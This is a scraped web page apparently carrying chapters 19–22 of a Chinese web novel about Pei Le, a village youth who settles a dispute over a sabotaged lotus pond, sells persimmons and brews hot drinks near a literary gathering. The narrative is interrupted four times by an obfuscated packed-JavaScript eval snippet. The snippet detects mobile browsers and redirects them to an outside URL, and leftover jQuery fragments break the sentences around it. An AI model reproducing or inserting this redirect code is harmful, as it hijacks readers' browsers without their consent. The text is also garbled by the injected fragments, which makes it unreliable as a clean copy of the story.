他听大哥说了,程立说只要裴家出学费和每个月一两银的住宿费,剩下的花销会自己解决。 程立这样大手大脚,私下里岂不是要抄很多书? 时间都用来抄书了,哪还有精力学习? 驶过写着“大东村”的牌子,意味着要到家了,裴乐这会儿才意识到自己一路上都在想这件事。 他甩了甩脑袋,不再去想这件事。 程立算术那么好,心里肯定算得清楚,自己属于白操心。 等到了家,长工过来卸车,牵牛。 顾水水回家,裴乐洗了手,和周夫郎一起进屋吃饭。 裴伯远说池塘的事查清楚了。 “马全指认了隔壁村的两个流子,那两个人承认是马有庆买通了他们,让他们做陷阱毁庄稼。” “除了马全,还有二蛋大丫他们也看见了。”柳瑶补充说。 裴向阳道:“村长让我们明早去他家,商量这件事怎么解决。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445435|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我也要去。”裴乐想第一时间知道结果。 于是次日,裴伯远带着裴向阳和裴乐去了万家。 马有庆一家三口、马老二、王夫郎还有马老大和马全来得更早,已经在院子里坐着了。 马有庆左脸上有几道指印,估摸着是被谁打了一巴掌。 看见“仇人”被打,裴乐脚步轻快不少,接过万家小辈递来的凳子坐下。 “人都到齐了,那我就说了。”村长道,“马老三的意思是赔钱了事,他愿意赔你们裴家三两银子,另外会找人把塘里的木头片子都清理出来。” 莲藕价贵,一斤通常在十文以上。裴家的小池塘产量在五百斤左右,如今还能收成半数以上,赔三两算是合理。 裴乐心里快速计算着,知道自己家不能算亏,心里却不满意。 要是能把马有庆一家赶出村就好了。 裴伯远同样不满,道:“村长,若是买藕,三两银子是够了,但马有庆是恶意毁坏我家池塘,还险些让我儿子受伤,让我儿媳受惊吓,他应当受惩罚,至少得赔我们十两。” “十两你还不如去抢。”刘夫郎瞪大眼睛,站起来骂道,“你那藕是金子做的是吧,这么会算计难怪能富那么快,合着钱全是抢来的!” 裴向阳道:“做错事就该认罚,与其在这里大喊大叫,不如好好教教你儿子,他连二伯家的地都不认识,水稻和麦子都分不清,说出去笑掉大牙。” “我儿子怎么了,要不是裴乐……” “肃静!”村长用拐杖敲了敲地面,皱着眉头,“要是喜欢吵架就出去吵,我年龄大了,受不了闹腾。” 刘夫郎这才闭嘴。 村长喝了口茶,继续主持:“裴家要求十两银子,马老三你怎么说?” 马老三道:“我们家最多能拿出来三两。” “十两。” “三两。” “十三两。”裴乐突然站起来,强硬说,“我们要十三两银子,并且要求马有庆写一封认错书,站在我家门口念完,否则就把这件事闹到县衙,他如果有了案底,就别再想科举了。” 有案底不能科举? 马老三夫夫看向儿子。 马有庆到底念书多年,点头:“朝廷是有这个规定。” 自身有案底会被剥夺科举资格,若是大案,还会牵连子孙后代,导致子孙也无法科举。 没想到还有这一茬,马老三夫夫像是被锁住了喉咙。 “你们家能供马有庆念那么多年书,肯定也能拿出十三两银子。”裴乐有理有据。 马老三不想出十三两,三两已经在割他的肉,遑论十三两。 可马有庆这些年读书花了那么多钱,若是十三两不出,以前的努力就白费了。 “八两行不行。”马老三涨红了脸讨价。 裴乐道:“十三两,一文都不能少。” 为了儿子,最终马老三还是同意赔十三两,另外再找人清理池塘。 但念认错书一事,马有庆死活不干,裴伯远就说算了。 池塘的事就此了结,裴家三人准备离开,王夫郎忽然站起来:“我们家要十五两。” 19. 钥匙 众人皆是惊诧地望向他。 裴伯远不愿参与旁人的家事,继续往外走,裴乐和裴向阳只好跟上。 直到次日,裴乐才知道事情后续。 马老二和马老三家大吵一架,算是闹翻了。 银子赔了十两。 马老大还没有跟马老三闹翻,但他的儿子马全因为被教了错字,所以指认马有庆,两家的关系定然回不到从前。 “马有庆自作自受。”裴乐对程立道,“这次他们家大出血,不知道还会不会像以前那样惯着他。” 初秋的傍晚凉爽适宜。 身边的哥儿眉飞色舞地说完事件后,拢了一下被吹乱的发丝,然后将钱袋拿出来,掏出一两银子。 “给你的分成。”裴乐豪气道,“大哥给我分了三两,但如果没有你教我,我不会知道有案底的人不能科举,所以你也有功劳。” 小银元宝躺在哥儿略粗糙的掌心,虽然不再闪亮,但由于其本身的价值,仍旧显得动人。 程立拿走它,眼神明亮地道谢:“谢谢。” 没想到小书生拿走得那么干脆,裴乐嘴唇不经意地抿了一下,然后恢复正常神色:“不用谢,你应得的。” 他并不心疼,只是有那么一丝不舍。 他收起空钱袋,转过身开始往家走:“家里的事我说完了,你在私塾有没有发生什么有趣的事?” 程立握着小银元宝,捡着小事说了两件。 说完,两个人正好走回家。 此时天快要黑了,柳瑶在院子里用炉子烧水,裴向阳在角落给石头洗澡。 石头年龄小,农村没那么多讲究,就直接让他在院子里洗了。 裴乐准备回自己屋,程立却忽然问道:“乐哥儿,那本书上的古诗你都背完了吗。” 裴乐点头:“背完了。” 一共二十首,都很简单,他一天两三首就背完了。 程立微惊:“全部背完了?” 裴乐又点头:“嗯,你要抽查吗?” 程立循着记忆报出两首诗的名字,裴乐都一字不差地背诵了出来。 “我背错了吗。”见程立很久不说话,裴乐心里不由忐忑。 “没有,我只是觉得你很厉害。”程立由衷道。 虽然他刚开始学习时,也经常一天就背好几首诗,但那时他不用做别的事,而且还有父母亲监督他,与裴乐是不同的情况。 乍然得到夸奖,裴乐矜持道:“也没有很厉害啦,那些诗都很简单,而且你都跟我讲解过。” “你学得这么快,我却没有足够的时间教你。”程立走到自己房间门口,推开门,“这样吧,我把钥匙给你,你可以随时来我这里找书看。” 裴乐站在门口,不敢相信自己听见了什么。 程立由于要上学,经常不在家,他的屋子是单独有锁的,每次去私塾时,就会把屋子锁上,免得有人乱进。 现在,程立要把钥匙给他。 “不太好吧。”裴乐下意识拒绝,“你屋子里不止有书,我怕弄乱,而且会被别人讲闲话的。” 差点忘了,裴乐还预备着跟他退亲。 程立忽略掉微妙的心情,道:“左边香樟木的箱子是我用来放书的,你只看这个箱子,不会弄乱我其它东西。” “家里人都知道你是在跟我学习,而且我又不在家,他们不会乱说的。” 说罢,程立将钥匙放在桌上,推给他。 能够随便看书的诱惑实在太大,裴乐还是没有抵挡住诱惑,把钥匙拿了起来:“那谢谢你了,作为回报,我会帮你打扫屋子的。” 又补充说:“放心,我不会乱翻你的东西,只帮你扫下地,擦下桌子。” “其实我的东西你都可以看。”程立说完,似觉出这话暧昧,自己脸烫了一下,将视线从哥儿身上移开,快速转移话题,“笔墨纸砚都在抽屉里,你可以随意取用,只要不浪费。” 天越来越黑了,裴乐看不清程立的表情,只觉得对方语气很正常。 于是,裴乐心里些微的不对劲散了去,再度朝程立道谢,而后拿着钥匙高高兴兴地走了。 * 树叶由青转黄,再变成褐色,最后飘然落下。 象征着秋收到了。 裴叔良家的地不及大哥家多,但也需要请人,留九岁的裴向星一个人在家做饭打扫显得不够,裴伯远就说两家合在一起吃饭。 正好这边有朱红英裴厚两口子,柳瑶怀孕了也留在家里,程立还放了田假,家里人多。 不过程立并未一直留在家里,他下午会下地。 如今不如夏季那么炎热,他身体也比从前壮实一点了,干活虽不及周夫郎他们麻利,但也能勉强跟得上。 秋收过后,私塾复学。 等莲藕也收上来,秋税就开始了。 顺天朝廷规定每人丁税为一百二十文,但六十岁以上的老人免税,十五岁以下只需交二十文,户税则根据每户整体情况来看。 裴家的户税是一百文,程立只有一个人,且未成年没地没房,户税按最低标准算,二十文。 程立的四十文加上裴家的,总共五百六十文。 按数交完钱,称完粮税,衙役又收了裴伯远六十文的好处费,这才离开。 裴乐拿起扫帚,和柳瑶一起打扫洒得到处都是的粮食。 “总算是挨过这一遭了。”朱红英还未松开石头的手,对重孙告诫道,“你还不能出去玩,万一冲撞了官老爷,屁股要被打开花的。” 石头下意识捂了捂屁股,想到刚才那些官兵随意踹倒自家粮食的模样,小眉毛皱起来:“我不喜欢他们。” 裴乐也不喜欢那些官兵,总是借口这里不好那里不够,就是想要好处。 但他作为老百姓,不喜欢也无可奈何。 全家合力把粮食归拢好,周夫郎说要做排骨炖藕,才让气氛松快了些。 今年藕的收成不错,毁坏的比他们想象中少,收上来了三百五十斤。 交过税后,还有三百斤。 自家吃一些,给亲戚送一些,剩下的拿去镇上卖掉。 藕多,裴伯远在镇上租了个临时摊位,自赶车拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445436|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藕去卖,裴向阳跟着一起。 裴乐在家跟着裴厚种菜,没事时便看书学习。 他会把不懂的记下来,等到程立回来再问对方。 程立在私塾同样用功。 孙夫子说县令大人会在十月初一召开丘山雅集。 所谓雅集,就是文人集会。 雅集通常只有获得功名的才子有资格参加,但县令大人为彰显仁义,从前年起,每年都会从各大私塾中择取数名才貌好的,允他们破格参与。 “我们私塾只有两个名额,不出意外就是你我二人。” 马有庆晌午在外头买了包子,刚走到课室门口,就听见里面的谈话声。 单行道:“参加雅集的人都会准备自己所写的诗词文章向前辈讨教,你的写好了吗。” 程立:“早就写好了,昨日给夫子看过,夫子说我大有进步。” 单行:“你文章水平本来就高,夫子还说你有进步,看来此次雅集,你必出风头。” “单兄谬赞,你的水平也不差。” “比不上你。”单行顿了顿,“你写的能给我看看吗。” 马有庆朝里探了一眼,只见程立从桌屉里拿出五张尺纸,递给单行。 单行才看了一两张便赞叹道:“你这《秋收赋》写的太好了,我竟找不出丝毫缺点,比当年的孝士杰写得还好。” “孝士杰是谁?” 马有庆心里刚有疑问,就听见程立问了出来。 “孝士杰你都不知道?”单行很惊讶,然后跟程立介绍,“孝士杰是前前任县令时期的人物,前前任县令也召开雅集,和如今的县令一样,会允许一部分我们这种没有功名的学生参加。” “孝士杰当时只是私塾里的一名普通学生,他成绩平平,没有获得参加雅集的名额,但他上山为母亲采药时,误闯雅集,县令问明原因,又看了他身上所携带的文章,认为他是有能之士,赐予孝士杰名号,并让他进县书院念书,减免一切费用,第二年他就顺利考上了秀才,后来又考上举人。” “我在家中看过孝士杰的文章,真不如你这篇,如今的县令和前前任很像,说不定过段时间,你就要去县书院念书了。” “你说得太夸张了。”程立拿回自己的文章,“我只求雅集不出错。” 单行摇头:“你这人太老实了,你可知去年就有效仿孝士杰的,但因为文章写的太烂,都没能成功,被当众赶下山。” 程立道:“扰乱秩序,竟仅仅是赶下山?” “雅集属于民间集会,又不是官方活动,自然只是赶下山。” “马有庆?” 背后突然传来声音,马有庆吓了一跳,转过头才发现是周少勉。 周少勉狐疑地看着他:“你不进课室,站在这里做什么?” “吃饭。”马有庆举了举手里的包子,“夫子不让在课室里吃东西。” 周少勉没怀疑,径直走进课室:“程立,单行,你们怎么不去吃饭。” “刚才单行找我说事,现在就去。”程立将几张纸叠好放进抽屉,起身道。 20. 柿子 大东村几乎家家户户都种柿子树,一到成熟季,枝头皆缀满柿果,红彤彤沉甸甸的,看着特别喜人。 裴家的柿子树有两种,一种尖柿一种磨盘柿。 尖柿顾名思义是尖头的,呈圆锥状,皮很薄,果肉稠密甘甜。 磨盘柿呈磨盘状,比尖柿大,皮厚一些,水分很多。 裴乐喜欢吃尖柿,一天能吃七八个。 朱红英看见了就会说他,说柿子吃多了伤胃。 于是裴乐就说程立:“你不能多吃,柿子吃多了伤胃。” 程立并不觉得他管得多,也不觉聒噪,闻言就把柿子放下,擦干净手:“好,我不吃了。” 没想到对方这么听话,裴乐摸了摸鼻子,改口:“你九天才回来一次,多吃两个也没什么,过了季节就吃不到了。” 程立道:“我肠胃确实不好。” 若吃病了,难受的还是他自己。 “多养养就好了。”裴乐抬手拍了拍小书生的肩膀,继而发觉什么,“你是不是长高了?” 他拿了尺子来量,果然比刚来裴家时高了一寸。 又量了量自己,只长高了一公分。 如此算来,他只比程立高一公分了。 他感到不公:“我们年龄一样,为何我长得这么慢。” 朱红英手里握着个没熟的尖柿,边削皮边道:“先前你比汉子长得快,也不见你说不公平。” “那能一样吗。”他就是想比所有人都高。 “你以后还会长的。”程立安慰他。 裴乐道:“能一直比你高吗?” 程立沉默。 裴厚往小儿子脑后轻轻拍了一巴掌:“别欺负人家了,程立长不高对你有什么好处?” 裴乐辩解道:“我又没说要让他长不高,我的意思是他能长高,但我会长的比他更高。” “哥儿不需要长那么高。”裴厚拿走尺子。 裴乐还是想长高,个子高力气大,够东西也方便。 可惜长高这种事,不是想要就有的。 他拿起竖在墙边的长杆网兜:“我去摘柿子了。” 周夫郎从屋里出来道:“我跟你一起,张喜也一起,套上牛车。” 张喜是长工的名字。 张喜三十多岁,是个话少的老实汉子,闻言就去套牛车。 裴乐和周夫郎去拿木板子。 木板子是按照车厢的尺寸定制的,四周围边,边高四寸,最高处内层削走一半木头,底板也会相应地削减,好让这些木板能够一层层嵌住,摞在一起不滑动。 木板子很重,裴乐拿着都很费劲儿,转头一看程立也单独拿了一个,和他们一样绷着劲往院子里拿。 看来程立的力气也长了不少。 三块板子就差不多了,他们也摘不了太多。 家里只有两个长杆网兜,张喜和周夫郎兜柿子,裴乐就负责把柿子摆好。 牛会乱动不老实,因此三块板子都放在地上,摘完柿子要回家时,才会抬到牛车上。 他们摘的都是尖柿,尖柿好吃也更好卖。 装满一块板子,裴乐就道:“阿嫂,你歇一歇吧,我来兜柿子。” 周夫郎胳膊正好酸了,便把杆子递给他。 两人换班兜着柿子,天快黑的时候,正好把三块板子装满。 “明儿你和向阳去祥云镇卖柿子。” 祥云镇种柿子的没有他们这边多,能卖到一文钱一个,自己镇上只能卖一文钱两个。 不过去祥云镇的话,若卖得不好,晌午就赶不回来,得在外头吃饭,也是一笔花销。 边说话边往家走,裴乐余光忽然瞥见了刘夫郎。 刘夫郎和马老三也是用牛车运柿子,马老三牵牛,刘夫郎走在后头,正和一个女人说话。 女人头上插了朵花,年龄偏大,但打扮得鲜亮,皱着眉头。 裴乐认出对方是村里张媒婆。 刘夫郎就马有庆一个孩子,跟媒婆聊天,估计是想给马有庆娶亲。 但看媒婆的神色,估计是难办。 最好娶不到。 裴乐心想,免得姑娘哥儿被马家祸害。 次日天刚蒙蒙亮,裴乐就起床了。 毕竟要去隔壁镇,早点起才能找到好位置。 他去厨房舀水,然后在院子里洗脸刷牙。 洗漱完准备去做饭时,他忽然看见程立屋子里的灯亮了。 程立起这么早做什么? 裴乐有点疑惑,但没有多想,径直进了厨房。 他将前一晚揉好的面团拿出来,擀开放进锅里烙。 除了烙饼,他还煮了一锅稀粥,家里有腌菜,可以配着吃。 他做饭做到一半时,裴向阳出现在院子里,打水灌满水缸,然后来帮他烧火。 程立却始终没出来。 他问裴向阳:“你看见程立了吗,他刚才屋里灯亮了。” “没看见,不过他屋里灯还在亮着。”裴向阳道,“你若是好奇就去问问。” 裴乐本来是打算去问的,但裴向阳这么一说,他就不想去了。 “不好奇。” “行吧,我去帮你问问。”裴向阳站起来。 裴乐拽住他:“我都说了不好奇。” 裴向阳只当没听见,继续往外走,却发现裴乐拽得很用力,再走就要把衣裳扯开了。 他纳罕:“你不好意思了?” “没有。”裴乐松开手,下意识否认。 裴向阳怪道:“我看你平常跟他来往也没有避嫌,怎么这会儿害羞了。” 害羞? 裴乐后知后觉反应过来,自己好像是在害羞。 但他不会承认:“我没有害羞,你好奇就去问吧,反正我不好奇。” 裴向阳懒得揭穿他,迈步往外走。 不一会儿,裴向阳回来汇报:“你未婚夫在写参加雅集的文章,没干别的。” 说罢,又道:“他能够参加雅集,想来成绩很好,日后高中有望,你算是有福了。” 裴乐脸色微红,小声道:“他中不中的,跟我有什么关系。” “他中了你以后就是秀才夫郎,甚至举人夫郎,怎么就没关系了。” 裴乐道:“我如今跟他只是有婚约,还没有成亲,以后谁是他夫郎还不一定呢。” 裴向阳仔细一想,觉得是这样:“那我跟爹说一声,让他早点给你们办席。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445437|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 裴乐可没有这个意思,连忙阻止:“不行,哪有这么早成亲的。” “有什么关系,又不是让你们现在圆房,只是先把名分定下来。”裴向阳越想越觉得合适,“若真等到高中,他说不定就不愿意入赘了。” 裴乐道:“如果他是这样出尔反尔的人,那我也不愿意要他。” 见他态度坚决,裴向阳才打消了念头。 早饭做好,两人吃了饭,又装了四块饼子和一些咸菜,才套车出发。 祥云镇和云隐镇离得近,街道看起来没什么区别。 他们来得早,找到了好位置,把牛和车分开,牛拴在后头树上,车推到前面,两人合力把木板子抬下来。 气候迈入冬季,早上颇有几分寒意,裴乐多穿了一件衣裳,跺了跺脚,好让被寒风吹凉的身体快速暖和起来。 “对面有卖煎茶,我给你买一碗?”裴向阳见状问道。 裴乐摇头:“过会儿就暖和起来了。” 过了一会儿果然暖和了,街上的行人也多起来。 “柿子!又红又甜的大柿子,一文钱一个!”裴向阳叫卖起来。 柿子个大又甜,糖那么贵,柿子却便宜,因此裴向阳喊了几声,便有许多人围过来。 “都是自家柿子树结的果,熟透了才拿出来卖,随便哪一个都甜。”裴乐拿出一柄小刀,“若是不信,我切开给你们尝尝。” 他切了几个柿子分给大家品尝,尝过后并没有人离开,想来对味道都满意。 有人选了几个,付了钱便走了,有的人却觉得价格不够便宜,跟他们讨价。 刚开始卖,两人是绝不肯让价的,必须一文一个,没有便宜的余地。 大部分人还是愿意买,但没过多久,丈远的地方出现了另一个卖柿子的摊位。 那摊位老板说买十个送一个。 见有便宜可占,顾客都过去了。 没办法,他们只好也说买十个送一个。 这样卖了没多久,又来了个卖柿子的,说买五个送一个。 另一个似为了较劲儿,说买五个送两个。 他们俩夹在中间,听着两边的叫卖,裴向阳懈气道:“要是再来卖柿子的,咱们就拉回自己镇上卖算了。” 裴乐深以为然。 虽然柿子树不需要打理,但他们摘柿子、运柿子也费了好一番气力,定做木板也是成本,若卖得太便宜,那还不如让柿子烂在树上。 想到这里,裴乐看向街对面卖煎茶的老太太。 老太太脚边竖了个木牌子,写着:暖身煎茶,七文一碗。 她一直没有叫卖,也没有来第二个煎茶摊,生意不算好,但也有人买。 最重要的是人家一碗七文钱,若要用竹筒带走就收十文,比他们卖柿子挣钱多了。 煎茶那么好喝吗? 又看见有人去买,于是裴乐也去买了一碗。 他喝了一口,一时茶叶的苦涩、酸辣甜都在嘴里迸开,滋味算不上好喝,但竟也不难喝。 他又喝了一口,这一口似乎好喝些了,但味道还是怪。 连喝好几口,没能尝出里面除茶叶、陈皮、红枣外究竟放了什么,他将剩下的给了裴向阳。 21. 丘山 拿出来卖的柿子都是挑的好的,三板子柿子只拿出两板,总共有五六百个。 本以为怎么也能卖出去四百多,收个四百文,没想到大家都晓得祥云镇价高,有牛或者驴的,都把柿子拉到这边卖,导致价格降得厉害。 最后降价到五文钱八个,十文钱十七个,还是剩了几十个。 拢共只收了三百三十二文。 他们带的有饼子,晌午就只买了两碗杂烩汤,花费十四文。 不算煎茶的钱,赚了三百一十八文。 裴向阳往里添了两文,凑成三百二十文,两人一人分十六文,剩下的都要交公。 来一趟,最终裴乐的钱袋里多了九文钱。 他再也不想来了。 回去一合计,大家也觉得不如就在本镇卖,便没再往祥云镇去。 裴乐在家和柳瑶一起削柿子,削好后用绳子绑着挂起来,做成柿饼过年吃。 其余时间他没有出门,一直在家里看书,尝试做暖饮。 他问过朱红英等能问的人,还问了村里郎中,确认了姜蜜水的方子。 就是生姜榨汁,加蜂蜜调和,煮出来的饮子不仅能暖身,还能润喉止咳。 上次三嫂送来的蜂蜜,老两口舍不得吃,只偶尔泡一碗水喝,现在还剩下一点,朱红英拿了出来。 裴乐按照方子煮水,分给家里人喝。 大家都说不错,姜味不重,好喝,就连石头都能喝几口。 但蜂蜜不易得,太贵了,姜蜜水做了也不一定能卖出去。 他试着用糖代替,结果滋味大不如,根本不好喝。 想到在老太太那里买的煎茶中有红枣,他便加了一些,滋味果然好多了。 但姜味还是有些突出,不加又显得单调,裴乐试着少加,最后发现直接将姜切片放进去煮最合适。 光有一样姜枣水还不够,家里有米酒,裴乐买了几斤糯米粉,搓小圆子和米酒一起煮,如此“甜米酒圆子”就又是一样。 茶叶、陈皮、沉香等混杂在一起磨粉煎制,便是一道不甜的煎茶。 有三样就够了。 但紧接着下一个问题便来了,家里有现成的小炉子,却没有铁桶。 木桶只能装饮子,不能直接放在火上煮。 镇上铁匠铺就能打桶,可铁的价格很高,裴乐没有,也舍不得拿那么多银子去打铁桶。 万一饮子卖不出去,铁桶虽能卖,但一来二去,肯定要折不少价。 “锅盖是木头做的。”裴乐烧火时忽然想到,“锅盖放在铁锅上完好无损,没有被烧着,岂不是代表木桶也可以放在锅里?” 若木桶也能放在锅里完好无损,那么他就只需要一口厚铁锅,里面装水,然后把木桶放上去就可以了。 如此一来,就算做生意失败,也只是折了几个木桶的钱,铁锅还能家里留着用。 说做就做,晌午饭后,裴乐便找了个合适的木桶,里里外外清洗干净,用煮饭的锅试了试。 果然可行。 如今日子太平,一斤是三百文。 饮子价格不低,根据那日对老太太的观察,估摸着一种最多能卖十几份出去。因此,木桶不需要太大,也不会太重。 裴乐找三哥定了木桶,铁锅却并没有着急去订制。 铁器由官府管控,若打造一斤以上的铁器,需先在铁匠铺登记,而后由铁匠统一汇报给官府,得到准许,才能从官府拿到材料,铁匠再打造。 程序严苛且需要很长时间,最起码得大半个月才能拿到。 “明天十月初一,丘山雅集要开始了。”程立从私塾回来后,裴乐询问对方的意见,“你觉得我去丘山下卖饮子能成吗?” 如今还没有到严寒的时候,只要他提前到丘山脚下,将各种饮子现煮好,然后用棉被或者稻草裹住木桶,做好保温,能温热一个时辰左右。 学子们家境都好,那些秀才举人就更不用说了,若他在丘山下都卖不出去,没人喜欢,那就不用再想去别处卖了。 “可以试试。”程立没有做过生意,但觉得裴乐的饮子做得很好喝。 “有你这句话我就放心了。”裴乐信心倍增,眼睛不自觉地弯了弯。 随后,他握住程立的手腕:“参加雅集的都是文人,我打算做个牌子写上价格,你帮我写吧。” 裴乐心里是打算好好练字的,但他每日都有杂事要做,而且获取新知识比练字有意思多了,因此他空余时间多半在看书。 字也练了,但不多,所以还是很丑。 透过衣裳,程立能感觉到哥儿手心的热度。 他手心也跟着发热,旋即抽出手腕,问要写什么字。 “姜枣水九文一筒,香煎茶十文一筒。”米酒先不卖,拿这两样试试。 拿来准备好的木板,裴乐研磨,程立卷起袖子,按照哥儿所说写上大字。 程立的字迹不似他人一般文弱,字体遒劲有力,同时还能规整便于辨认,裴乐觉得是极好的。 他很满意:“很好,我去准备明天要用的东西了。” 又回头嘱咐程立:“你帮我看着这两块木板,等墨迹晾干再拿到我屋里。” “乐哥儿。”程立忽然喊他。 裴乐停住脚步:“怎么了?” 程立指着木板,提议道:“这里有很大空余,可以写两句与茶有关的诗。” 卖给文人,若有相关的诗再好不过,裴乐道:“那你写吧,我不知道写什么。” 程立想好了要写什么才出声叫住哥儿,闻言便重新蘸墨,提笔分别在右下角加上两句诗。 裴乐念了一遍,觉得很合适:“还是你聪明,有了这两句诗,我的饮子肯定能卖得好。” 程立手心又开始无端发热,他放下笔,喝了一口茶才道:“饮子好喝才能卖得好。” “当然好喝。”裴乐说,“若是不好喝,我怎么敢拿出去卖。” * 次日两人皆起得早。 裴乐要去卖饮子,程立则是参加雅集。 家里就只有一头牛,去的地方又远,自然得一块儿出发。 裴伯远赶车。 裴乐坐在车里,打了个哈欠,小声对程立道:“这车厢我昨儿才洗过,很干净,你若是困可以躺下睡一会儿。” 程立道:“我不困,你若是困了,可以睡一会儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445438|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴乐又打了个哈欠,他昨夜想到今儿就要卖饮子挣钱了,一边幻想应接不暇挣得盆满钵满,一边又担忧一份都卖不出去,导致后半夜才睡熟。 又起得早,自然就犯困。 他听见程立这么说,用整理好的稻草垫在车厢中,继而当真躺下,拿出早就准备好的衣裳盖在身上。 早晨很冷,好在他上次跟着裴向阳一块儿去卖柿子领教过了,这次穿得厚,身上又多盖一件厚衣裳,躺下后并未觉得寒凉。 车厢有六尺长,也够他伸直腿,就是因为放了些炉子铁锅等物件,显得宽度过窄,他没法翻身。 而且和程立挨得很近。 坐着的时候不觉得有什么,但躺下后视野变得狭小,心里忽然就有点不对劲了。 好在困意更浓,又知道是大哥赶车,程立不会做什么,自个绝对是安全的,裴乐还是睡着了。 天色渐明,路上行人却依旧稀少。 程立看了看毫无防备心的未婚夫郎,将滑到一侧的衣裳拽回去,又转头看向路边。 丘山在祥云镇,很远。 裴伯远对去往丘山的路不熟,进到祥云镇后,停车询问当地老伯。 这时他才发现裴乐竟在车里睡觉。 他欲将人叫醒,又想到裴乐已经睡了那么久,最终还是没喊。 问清楚路,裴伯远才继续往前赶车。 路上的人和车也渐渐多起来,看穿戴大都是要去赶赴雅集的文人,亦或是准备在山脚卖东西的小贩们。 察觉到旁人投向车厢内的视线,程立蹙了蹙眉,取出干净手帕,盖住了哥儿上半张脸。 等快到丘山时,许是因为路上人太多了,也可能是睡饱了,裴乐自己醒了过来。 他拿开眼睛上的布,认出是程立的,还给对方:“谢谢你。” 程立将手帕叠好收回袖内,看着他突然笑了一下,没有说话。 裴乐没察觉到这笑容的深意,搓了搓脸,看了看四周:“看来今天摆摊的人不少,希望卖饮子的人少一点。” “我方才看过了,只有两个卖饮子的。”程立道。 “啊?”裴乐顿时苦脸,想起了卖柿子那天,“这么快就两个了,再过一会儿肯定又要来几个。” 话落,他看见程立抬起手,往他头发上捉了一下。 随后,对方手里出现了一支细软短稻草。 原来刚才程立是在笑话他。 裴乐耳根一热,强做镇定:“我头上还有没有?” “没有了。”程立答。 裴乐不太信任对方,等到了丘山脚下,找好摆摊的地方,又让裴伯远看了一遍。 确定真的没有,他才放心。 时辰还早,程立不急着上山,先帮他们把摊子支起来。 三个人动手很快,点着火,剩下的便是看着炉子,没什么难事了。 裴乐往炉子里添着柴,余光扫见什么:“程立,前面是不是马有庆跟他爹?” 程立循着他的视线望过去,道:“是他们,可能是来走亲戚的。” 走亲戚吗? 马有庆没有参加雅集的资格,车上也没有货物,好像只能是来走亲戚。 22. 吉星 “野泉烟火白云间,坐饮香茶爱此山。”穿着襕衫的汉子念完木板上的诗,笑道,“没想到你一个小哥儿还懂诗词。” 裴乐摇头:“我不懂这些,诗是从书上找的,字是请人写的。” 汉子笑了几声:“不错,很坦诚,给我盛一筒煎茶,一筒姜枣茶。” 他的妻子送他过来,还未离开,正好姜枣茶给妻子,不甜的煎茶自己喝。 没想到这么容易就卖出去两份,裴乐高兴道:“您是我的第一位顾客,两筒茶只收您十三文,祝您吉星高照,文运亨通!” 竹筒都是砍自家竹子做的,费功夫但不要钱,即使收十三文也挣钱。 那汉子省了六文钱还有吉祥话听,也高兴。 十三文放进钱袋中,铜板碰撞发出好听的声音,裴乐脸上笑容更甚,底气也更足了些。 早上的寒气消散过半,见时辰差不多了,程立拿起书包:“大哥,乐哥儿,我上山了。” “路上小心点,不要着急。”裴伯远嘱咐。 程立点头,左手将没喝完的姜枣茶拿起来。 裴乐看着程立走远,看见程立跟一个穿着赭红衣袍的少年打招呼,随后折返回来。 “乐哥儿,给我盛一筒煎茶。”程立说着,拿出十文钱,放进钱袋。 裴乐见状蹙眉:“你怎么还给钱。” 程立笑着解释道:“这一筒是给同窗买的,自然要给钱。” 裴伯远道:“方才与你说话那人,便是你的同窗?” “是,他叫单行。” 一筒煎茶装好,程立接过,却没有立即离开。 他低声道:“乐哥儿,你还没有祝我吉星高照。” 原来是在等祝福啊。 裴乐大方地多送了一句:“祝你吉星高照,文运亨通,事事如意!” 裴乐又从钱袋中拿出两枚铜币:“你是第二个顾客,给你便宜两文。” 虽只是便宜了两文钱,但程立眸底显然更亮了,接过钱离开。 裴乐继续卖饮子。 除他外,他目之所及的地方还有两个饮子摊,一个肉汤铺子。 